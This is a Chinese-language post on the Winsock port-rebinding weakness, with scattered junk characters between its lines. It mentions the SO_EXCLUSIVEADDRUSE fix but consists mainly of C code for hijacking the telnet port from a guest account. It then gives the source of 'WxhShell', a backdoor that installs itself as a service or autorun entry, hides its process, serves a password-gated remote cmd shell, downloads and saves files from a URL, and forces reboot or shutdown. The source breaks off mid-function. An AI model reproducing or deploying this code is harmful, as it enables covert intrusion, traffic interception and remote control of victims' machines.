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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zQ=aey% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :nt}7Dn' Y'?Iznb saddr.sin_family = AF_INET; Q.<giBh D8a)( wm saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5#P: "U 2"zI R( bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^?#@[4?" ]y$)%J^T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [;Vi~$p|Eo (tTLK0V-|3 这意味着什么?意味着可以进行如下的攻击: 1XQ87~ YBR)s\* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gca|?tt gp%tMTI1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q4#\{" N! #T
Z!#,q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7%W!k zp> 7Zhli Y1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 |_!PD$i- {6ajsy5= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9'D8[p% 0H;"5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R,uJK)m oJhEHx[f 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hcj{%^p {E3;r7 #include 4;08n|C #include ='KPT1dW* #include )x y9X0 #include ?exALv'B DWORD WINAPI ClientThread(LPVOID lpParam); cPx66Dh& int main() "pR $cS { <<i=+ed8eP WORD wVersionRequested; >qr=l,Hi DWORD ret; F>p%2II/ WSADATA wsaData; [''=>< BOOL val; Mf!owpW
T SOCKADDR_IN saddr; Uy:@,DW SOCKADDR_IN scaddr; B[C7G7<B int err; (
?atGFgu SOCKET s; *4zoAs lU1 SOCKET sc; >:="?'N5l! int caddsize; hLu&lY HANDLE mt; o,iS&U"TC DWORD tid; >6n@\n wVersionRequested = MAKEWORD( 2, 2 ); R9S7_u err = WSAStartup( wVersionRequested, &wsaData ); $[WN[J if ( err != 0 ) { x*3@,GmZl printf("error!WSAStartup failed!\n"); y[TaM9< return -1; FI80vV7
} n\~"Wim<b saddr.sin_family = AF_INET; }S
Y`KoC1 dP$y>%cB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vjv6\;tt8 t201ud2$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e,PQ)1 saddr.sin_port = htons(23); %w;1*~bH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m~b#:4D3 { 0:~gW#lD printf("error!socket failed!\n"); J+-,^8) return -1; #u!y`lek } @Z"QA!OK~c val = TRUE; vbW\~xf //SO_REUSEADDR选项就是可以实现端口重绑定的 :/n
?4K^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0tn7Rkiw { :FEd:0TS printf("error!setsockopt failed!\n"); Lqy|DJ% return -1; gEX:S(1QP } k
i~Raa/e //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ":5~L9&G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uOy\{5s8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }s8*QfK> EfMG(oI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H{p[Ghp { U`},)$ ret=GetLastError(); ',v0vyO8 printf("error!bind failed!\n"); gME:\ud$ return -1; s2,`eV } Py( w T%w listen(s,2); So3,Z'z= while(1) D|
3AjzW { lk5_s@V
l caddsize = sizeof(scaddr); $\=6."R5< //接受连接请求 aC
$h_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F!DrZd>\ if(sc!=INVALID_SOCKET) YB(#]H|8S {
iX&Z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2b vYF;<r if(mt==NULL) @pyA;>U { 74</6T]^ printf("Thread Creat Failed!\n"); 5k!(#@a_T break; 4kN:=g } SV$ASs } < :S?t2C CloseHandle(mt); r)*_,Fo| } mo97GW closesocket(s); C 6:p Y- WSACleanup(); <ZN)
/,4PS return 0; J{v6DYhi } @)FXG~C* DWORD WINAPI ClientThread(LPVOID lpParam) @=^jpSnZ { #oS SOCKET ss = (SOCKET)lpParam; -F~9f> SOCKET sc; Xqq?S unsigned char buf[4096]; 2n\i0?RD SOCKADDR_IN saddr; J@&$U7t long num; **
"s~ DWORD val; \n( 'KVbf DWORD ret; JN9H T0 //如果是隐藏端口应用的话,可以在此处加一些判断 lVO(9sl*i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 G+%5V5GS saddr.sin_family = AF_INET; FZLzu saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xfZ9&g saddr.sin_port = htons(23); 'SXpb?CZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "1\RdTw { /-cX(z
7 printf("error!socket failed!\n"); t2U]CI% return -1; *PA1iNdKS } c9F[pfi( val = 100; wHDFTIDI if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vFkyfX( { mSqk[Ig\ ret = GetLastError(); _@}MGWlAPt return -1; <CdG[Ih }
Y=#mx3. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L>K39z~, { n$Oky-P" ret = GetLastError(); d%"@#bB return -1; {yl/T:Bh& } 4Q>jP3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _<&K]e@dp { 7xa@wa?!L printf("error!socket connect failed!\n"); }G0.Lq+a closesocket(sc); Q{)F$]w closesocket(ss); jTxChR return -1; A/W7;D } J0Rz.=Y while(1) ps4Wwk( { B[k+#YYY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LxYM"_1A; //如果是嗅探内容的话,可以再此处进行内容分析和记录 2&G1Q'! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0Ci"tA3" num = recv(ss,buf,4096,0); QI^8b\36 if(num>0) <]SSgQ9/" send(sc,buf,num,0); q2"'W|I else if(num==0) smQpIB; break; gx{~5&1 num = recv(sc,buf,4096,0); ;Bc<u[G if(num>0) 9h{:!
send(ss,buf,num,0); t+Q|l&|0 else if(num==0) r
z>zdj5} break; QK/+*hr; } #+5mpDh
closesocket(ss); APOU&Wd closesocket(sc); *p<5(-J3 return 0 ; g{f>jd } [OToz~=) HZ`G)1&) qS`|=5f ========================================================== F(kRAe; 26klW:2* 下边附上一个代码,,WXhSHELL "vHAp55B{ W YqL ========================================================== 3[g++B."pC 3Tte8]0 #include "stdafx.h" #p:jKAc3 !B38!
L #include <stdio.h> "oGM>@q=B #include <string.h> r:\ 5/0( #include <windows.h> ff+9(P>* #include <winsock2.h> frO/
nx|9 #include <winsvc.h> q.K$b #include <urlmon.h> ClVpb ew ,h(+\^
?, #pragma comment (lib, "Ws2_32.lib") Ydd>A\v\; #pragma comment (lib, "urlmon.lib") i)^ZH#Gp |
3/p8 #define MAX_USER 100 // 最大客户端连接数 Bv|9{:1%X} #define BUF_SOCK 200 // sock buffer !-}*jm p< #define KEY_BUFF 255 // 输入 buffer UK9MWC5g9 o[+|n[aT)3 #define REBOOT 0 // 重启 V5^b6$R@ #define SHUTDOWN 1 // 关机 @ %B!$\] }\qdow- #define DEF_PORT 5000 // 监听端口 &JQ@(w %<o$
J~l~ #define REG_LEN 16 // 注册表键长度 ezy5Jqk5% #define SVC_LEN 80 // NT服务名长度 K*i1! "w Ac(Vw% // 从dll定义API 4I[FE;^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E3C[o! 5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <$Kv^Y * typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g"AfI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); blkJm9]v ^+l\YB7pD // wxhshell配置信息 ?01""Om struct WSCFG { K@u."eaD int ws_port; // 监听端口 ~rfjQPbh9x char ws_passstr[REG_LEN]; // 口令 FH5 bC6 int ws_autoins; // 安装标记, 1=yes 0=no 2A;[Ek6{q char ws_regname[REG_LEN]; // 注册表键名 cg5{o|x char ws_svcname[REG_LEN]; // 服务名 uNGxz*e char ws_svcdisp[SVC_LEN]; // 服务显示名 ] ,aAzjZ char ws_svcdesc[SVC_LEN]; // 服务描述信息 x!Y@31!Dy char ws_passmsg[SVC_LEN]; // 密码输入提示信息 80"=Qu{s int ws_downexe; // 下载执行标记, 1=yes 0=no Br$PL&e~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" &1C9K> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7CN[Z9Y^} Yt<PKs#E }; Y>m=cqR 0mi[|~x= // default Wxhshell configuration lTd2~_ struct WSCFG wscfg={DEF_PORT, JF\viMfR "xuhuanlingzhe", 7%FZXsD 1, e9~4wt "Wxhshell", s7.*o@G "Wxhshell", *U^hwL "WxhShell Service", )CTM "Wrsky Windows CmdShell Service", ]<?)(xz "Please Input Your Password: ", wef^o"aP 1, &>b1ES.> " http://www.wrsky.com/wxhshell.exe", .qPfi]
ty "Wxhshell.exe" nAC#_\ }; 'i-O n\p\*wb // 消息定义模块 491I char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WQC6{^/4[1 char *msg_ws_prompt="\n\r? for help\n\r#>"; -Dm.z16 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 0-~x[\>> char *msg_ws_ext="\n\rExit."; [$Bb'],k char *msg_ws_end="\n\rQuit."; >Ga1p'8FtU char *msg_ws_boot="\n\rReboot..."; 9>>}-;$ char *msg_ws_poff="\n\rShutdown..."; y5D?Bg|M char *msg_ws_down="\n\rSave to "; +E[)@;T w[G_ w:$a char *msg_ws_err="\n\rErr!"; Z69IHA[ char *msg_ws_ok="\n\rOK!"; bbkI}d%(Ng
>U/g*[> char ExeFile[MAX_PATH]; TAoR6aE int nUser = 0; z$5C(! ) HANDLE handles[MAX_USER]; $NRb' int OsIsNt; #Kr.!uD Xkm2C) SERVICE_STATUS serviceStatus; -d)n0)9 SERVICE_STATUS_HANDLE hServiceStatusHandle; !QspmCo+ dkp[?f)x // 函数声明 -{%''(G int Install(void); tP{$}cEY int Uninstall(void); 291|KG int DownloadFile(char *sURL, SOCKET wsh); jP'b! 4 int Boot(int flag); E-iBA (H void HideProc(void); x7@HPf int GetOsVer(void); ?zu{&aOX| int Wxhshell(SOCKET wsl); 28yxX431S void TalkWithClient(void *cs); AAY UXY! int CmdShell(SOCKET sock); Y@Y(;C"SW int StartFromService(void); ;O11)u?/s| int StartWxhshell(LPSTR lpCmdLine); 9r#{s Y _?c.3+;s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W
(=B H VOID WINAPI NTServiceHandler( DWORD fdwControl ); "-:\-sMt{ 9X` QlJ2| // 数据结构和表定义 /CE d14. SERVICE_TABLE_ENTRY DispatchTable[] = T+D]bfjr&& { ,O!aRvzap {wscfg.ws_svcname, NTServiceMain}, Z$XpoDbOy {NULL, NULL} VrxH6 Y }; BAHx7x#( <J`xCm K // 自我安装 elB 8 int Install(void) Zw{tuO7}K { w5jZI|
char svExeFile[MAX_PATH]; j!)p NZW.< HKEY key; LTct0Gh strcpy(svExeFile,ExeFile); "6QMa,)D d]`,}vi#E9 // 如果是win9x系统,修改注册表设为自启动 J,Ap9HJt if(!OsIsNt) { @E;pT3; ) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { - S-1<xR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S>E.*]_ RegCloseKey(key); $'*BS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Q)>gh* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nWu4HFi RegCloseKey(key); elgQcJ99 return 0; j@!}r|-T } A,)ELVk1F } EPRs%(w` } cvfAa#tq> else { e8bJ] p]eD@3Wz // 如果是NT以上系统,安装为系统服务 V+z)B+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AoeW<}MO if (schSCManager!=0) &N0|tn { v{Vesf SC_HANDLE schService = CreateService QovC*1' ( s\!vko'M schSCManager, q:^Cw8 wscfg.ws_svcname, KK$A4`YoR wscfg.ws_svcdisp, Ghc0{M< SERVICE_ALL_ACCESS, ![^h<Om SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jo <6M' SERVICE_AUTO_START, !g"9P 7p SERVICE_ERROR_NORMAL, q(Q9FonU svExeFile, 1bkUT_ NULL, T@.D5[q0: NULL, J}CK|} NULL, au*jMcq NULL, Bx4GFCdifC NULL edx'p`%d5 ); U^\~{X if (schService!=0) BH a>2N { /vu!5?S CloseServiceHandle(schService); RiG!TTa
b CloseServiceHandle(schSCManager); F\bI6gj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GGtrH~zx strcat(svExeFile,wscfg.ws_svcname); pSFWNWQ'B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lJ#>Y5Qg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \S@6@UGv RegCloseKey(key); U$uO%:4% return 0; 2Zip8f! }
H>6;I } >~~\==". CloseServiceHandle(schSCManager); mM>|fHGA } 4V8wB}y7e } K~T\q_ZPZ _xt(II return 1; ku8c) } _<Yo2,1^ %WR"85 // 自我卸载 MX,0gap int Uninstall(void) [bJnl>A { G[j79o HKEY key; BwD1}1jp ^/vWK\- if(!OsIsNt) { sb.SpF>
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { krc!BK`V RegDeleteValue(key,wscfg.ws_regname); ^#se4qQ RegCloseKey(key); -74T C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3>v0W@C RegDeleteValue(key,wscfg.ws_regname); *DzPkaYD> RegCloseKey(key); 0EXNq*=EE return 0; Dj(7'jT } Pc==]H( } :j4
[_9\ } S\gP= .G else { %Oqe7Cx>+ Ct+% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pUG fm if (schSCManager!=0) A"iD4Q { =A6O}0z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L-{r*ccIW if (schService!=0) 1G.gPx[ { g>P9hIl if(DeleteService(schService)!=0) { {`CWzk? CloseServiceHandle(schService); o f CloseServiceHandle(schSCManager); DNBpIC5&6 return 0; BK SK@OV } w8I&:"^7< CloseServiceHandle(schService); ,8nZzVo } Fxx2vTV4ag CloseServiceHandle(schSCManager); B?Sfcq- } 1R9?[RE } w{x(YVSH Nj&%xe>]. return 1; ^|(4j_.(e } <W')
~o} % ul{nL: // 从指定url下载文件 fhx:EZ:~ int DownloadFile(char *sURL, SOCKET wsh) ){6)?[G { UVUO}B@[S HRESULT hr; z>;+'>XXgx char seps[]= "/"; L b;vrh;A char *token; wNhR(M7 char *file; rss.F3dK char myURL[MAX_PATH]; +J8/,d char myFILE[MAX_PATH]; 9$@ g;?}Ps q%Jy>IXt strcpy(myURL,sURL); yUwgRj token=strtok(myURL,seps); N@a'd0oTd while(token!=NULL) |ZlT>u { 166c\QO file=token; y$V)^-U>fw token=strtok(NULL,seps); /Py>HzRE: } '?3z6% :P~&
b P GetCurrentDirectory(MAX_PATH,myFILE); H<7DcwXv strcat(myFILE, "\\"); f.)F8!! strcat(myFILE, file); Cy:`pYxhd send(wsh,myFILE,strlen(myFILE),0); <;E[)tv send(wsh,"...",3,0); m{dyVE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -
zw{<+; if(hr==S_OK) ^J~A+CEf"W return 0; TM}'XZ& else P`IG9 return 1; (,c?}TP A-C)w/7 } ]O=S2Q aX'g9E // 系统电源模块 ww t()
int Boot(int flag) jNG?2/P6& { \(U" _NPp HANDLE hToken; T_tDpq_| TOKEN_PRIVILEGES tkp; f"<@6Axq 7h#faOP if(OsIsNt) { 7e{X$' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OK?3,<x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J$9xC{L4 tkp.PrivilegeCount = 1; AKCfoJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K0RYI69_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dq%r
! ) if(flag==REBOOT) { ^!p<zZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +[8Kl=]L return 0; Y!1^@;)^ } Q] yT else { C6V&R1" s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0"qim0%|DF return 0; /\a]S:V-j } !:O/|.+Vmf } OV("mNh else { LLn{2,jfQ if(flag==REBOOT) { nHA`B.:B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }8F$&
AFt return 0; "i{_<;p O } >yA,@%X else { ^8oc^LOa~2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KWhM return 0; u ?G\b{$m } v;bP8)mI } P`3s\8[Q `\F%l?aY return 1; Cs[7% j } Ei9_h
<.=#EV^i // win9x进程隐藏模块 QTjftcu void HideProc(void) <V:<x { x\J;ZiWwW 4$zFR}f HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZkB6bji if ( hKernel != NULL ) zdjM%l); { {~p7*j^0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "?eH=! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cR=94i=t FreeLibrary(hKernel); =yTa,PY } x*R8^BA]pR )}Rfa}MD return; ,P@/=I5 } v :+8U[x 7moElh v // 获取操作系统版本 LE<u&9I\ int GetOsVer(void) ~6-"i0k
{ si^4<$Nr%j OSVERSIONINFO winfo; Z`oaaO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Od!F: < GetVersionEx(&winfo); eN]>l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )zW%\s*' return 1; n-hvh-ZO else [<Os~bfOv return 0; ia^%Wg7 } Q$fRi[/L *TM;trfz // 客户端句柄模块 ksu}+i,a int Wxhshell(SOCKET wsl) #6N+5Yx_[ { AvrL9D SOCKET wsh; 'wz\tT ^ struct sockaddr_in client; o=-Vt,2{ DWORD myID; [*9YIjn gv#c~cX] while(nUser<MAX_USER) . Z*j!{@c { #
cN_ y int nSize=sizeof(client); mWli}j# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~&DB!6* if(wsh==INVALID_SOCKET) return 1; a/QtJwIV /UpD$,T|^| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~MhgAC if(handles[nUser]==0) 2JiAd*WK closesocket(wsh); !EX?m }7 else _(oP{wgB nUser++; vv2vW=\ } ~_u*\]- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 15xd~V?ai: g5tjj. return 0; Q e>i{:N } G`]v_`> x)ddRq
l // 关闭 socket |*tWF!
D6` void CloseIt(SOCKET wsh) IpWy)B>Fl3 { $hjP}- oUX closesocket(wsh); M&qh]v gC nUser--; =My}{n[ ExitThread(0); &Y54QE". } Fl_dzh,E sK`~Csb
iB // 客户端请求句柄 n#+%!HTh void TalkWithClient(void *cs) )-+\M_JK5 { j3x^<a\gJ <%d51~@={I SOCKET wsh=(SOCKET)cs; .KLm39j( char pwd[SVC_LEN]; nT.L}1@ char cmd[KEY_BUFF]; aO.\Qe+j char chr[1]; w4e%-Ln int i,j; bA@
/B' =tr1*s{ while (nUser < MAX_USER) { RzA2*]%a K*R)V/B/l if(wscfg.ws_passstr) { `fBG~NDw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -}{%Q?rYj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -{X<*P4p //ZeroMemory(pwd,KEY_BUFF); ixIV=# i=0; 0jxO |N2) while(i<SVC_LEN) { lx\qp`w <<
3
a<I // 设置超时 :+~KPn>w5 fd_set FdRead; _ PXG AS struct timeval TimeOut; tcBC!_vF FD_ZERO(&FdRead); xS6(K FD_SET(wsh,&FdRead); aO8ch TimeOut.tv_sec=8; ]y3pE}R TimeOut.tv_usec=0; #TMm#?lC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9=t#5J#O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N\9}\Rk@ 3iE-6udCS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^FP}
qW~;9 pwd =chr[0]; 9$7&URwSDI if(chr[0]==0xd || chr[0]==0xa) { Ts|--, pwd=0; +kjzn]}f break; ]g{hhP3> } fCgBH~w,9 i++; eeuZUf+~] } [Q4_WKI0T Q)09]hP[Xj // 如果是非法用户,关闭 socket j*uXB^4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )^4ko } 3gb|x? J+Q+&-a send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 16"#i send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =%!e(N'p T}C2e! _O while(1) { 7#QLtU OnZF6yfN=3 ZeroMemory(cmd,KEY_BUFF); b,nn&B5@{ OE_QInb< // 自动支持客户端 telnet标准 q`XW5VV{K j=0; 7FAIew\r while(j<KEY_BUFF) { p6`Pp"J_tr if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z< z*Wz cmd[j]=chr[0]; 0y)}.' if(chr[0]==0xa || chr[0]==0xd) { JkZ50L cmd[j]=0; 25UYOK}! break; _eGT2,D5r } M70c{s`w5 j++; P Q7A~dw9 } ujU=JlJ7dl m23+kj)+VY // 下载文件 &J_Z~^ if(strstr(cmd,"http://")) { vu=me?m?( send(wsh,msg_ws_down,strlen(msg_ws_down),0); _w 5RK( if(DownloadFile(cmd,wsh)) g%ubvu2t] send(wsh,msg_ws_err,strlen(msg_ws_err),0); pgT9hle/ else [`d$X^<y; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p8Iw!HE } 7_-w_"X else { 0axxQ!Ivx q# MM switch(cmd[0]) { :M06 ;:e (ab{F5 // 帮助 !BDUv( case '?': { 2K;#Evn'j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7c-Gm R2 break; iZaeoy } "NDxgJ%J35 // 安装 X 7=fX~s case 'i': { *I0Tbc
O if(Install()) J1bA2+5.*e send(wsh,msg_ws_err,strlen(msg_ws_err),0); $(ewk): else ^(ScgoXva send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0n.S,3|
break; P.djd$# } QdQd(4/1 // 卸载 f;gZ|a case 'r': { 'Gjq/L/x if(Uninstall()) XAPYpBgm send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~4\,&HH else VU|;: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'B_\TU0
O break; qos`!=g? } 1~J5uB 4 // 显示 wxhshell 所在路径 %a]; case 'p': { 5!Bktgk. char svExeFile[MAX_PATH]; ZU^IH9 strcpy(svExeFile,"\n\r"); 2edBQYWd strcat(svExeFile,ExeFile); MM?`voj~`p send(wsh,svExeFile,strlen(svExeFile),0); Y>BP?l break; m
41t(i } 'Hw4j:pS // 重启 nBN&.+3t case 'b': { q@n^ZzTx send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AVG>_$< if(Boot(REBOOT)) `2`fiKm send(wsh,msg_ws_err,strlen(msg_ws_err),0); JS2nXs1 else { ,m^;&& closesocket(wsh); B<7/,d' ExitThread(0); =oX>Ph+ P } 1DE@N1l break; ,Ol ( piR } \hlR]m!C // 关机 QV qK case 'd': { '7*=`q{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aQ#qRkI if(Boot(SHUTDOWN)) S:q$?$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); [3N[i(Wlk else { Ri#H.T<' closesocket(wsh); B@O@1?c[ ExitThread(0); at6149B\) } ]"F5;p;y break; WZZ4]cC } 1zftrX~v!X // 获取shell ~9=aT1S| case 's': { 5l DFp9 CmdShell(wsh); ]XeO0Y closesocket(wsh); C5W>W4EM ExitThread(0); b.F^vv"]] break; Vw#{C> } :!fG; )= // 退出 *1{S*`|cJy case 'x': { -"Q-H/qh send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9 [jTs3l: CloseIt(wsh); 'Z&;uv,l break; jN0k9O> } 3= -pG // 离开 ^j )BKD- case 'q': { K93p"nHN send(wsh,msg_ws_end,strlen(msg_ws_end),0); EE=3 closesocket(wsh); ZH ,4oF WSACleanup(); w$|l{VI exit(1); dQb.BOI)h break; N]N4^A' } Nt:9 MG>1 } LfLFu9#:w } 6rN(_Oi- B[5r|d' // 提示信息 xJZ@DR,# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X|DO~{-au } x9W(cKB'S } /mM2M- O
5Nb return; ?!VIS>C( } v$wBxCY q<#>HjC // shell模块句柄 =gh`JN6 int CmdShell(SOCKET sock) !xIm2+:( { oU6y4yO STARTUPINFO si; gEQNs\Jn
L ZeroMemory(&si,sizeof(si)); *e#<n_%R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1w(JEqY3h: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xI*#(!x"G PROCESS_INFORMATION ProcessInfo; DI|:p!Nx char cmdline[]="cmd"; L,,*gK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]aryV?!6 return 0; zTbVp8\pI } C0*@0~8$9 hsKmnH@# // 自身启动模式 f~{}zGTM: int StartFromService(void) 76cG90!Z { JRMM? y typedef struct Wu6<\^A { US [dkbKo DWORD ExitStatus; Gfp1mev DWORD PebBaseAddress; +;}#B~: DWORD AffinityMask; L I >(RMv DWORD BasePriority; )~6zYJ2 ULONG UniqueProcessId; {nT^tAha ULONG InheritedFromUniqueProcessId; _ee
dBpV } PROCESS_BASIC_INFORMATION; 7Q w|! 6x)$Dl PROCNTQSIP NtQueryInformationProcess;
